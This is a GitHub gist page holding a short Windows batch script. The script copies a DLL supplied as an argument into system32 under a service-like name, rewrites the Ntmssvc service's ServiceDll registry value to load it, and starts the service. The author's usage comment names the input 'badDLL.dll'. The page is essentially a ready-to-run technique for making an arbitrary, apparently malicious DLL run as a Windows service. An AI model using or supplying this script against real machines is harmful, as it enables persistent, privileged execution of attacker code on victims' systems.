Skip to content

Instantly share code, notes, and snippets.

@matonis
Created April 2, 2014 23:23
Show Gist options
  • Save matonis/9945312 to your computer and use it in GitHub Desktop.
Save matonis/9945312 to your computer and use it in GitHub Desktop.
@ECHO OFF
echo [+] - Copying %1 as C:\Windows\system32\ntmssv.dll
copy %1 C:\Windows\system32\ntmssv.dll
echo [+] - Modifying HKLM\SYSTEM\CurrentControlSet\Services\Ntmssvc
reg add HKLM\System\CurrentControlSet\Services\Ntmssvc\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\system32\ntmssv.dll /f
echo [+] - Starting Ntmssvc Service
net start ntmssvc
@matonis
Copy link
Author

matonis commented Apr 2, 2014

Usage: dll.bat badDLL.dll

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment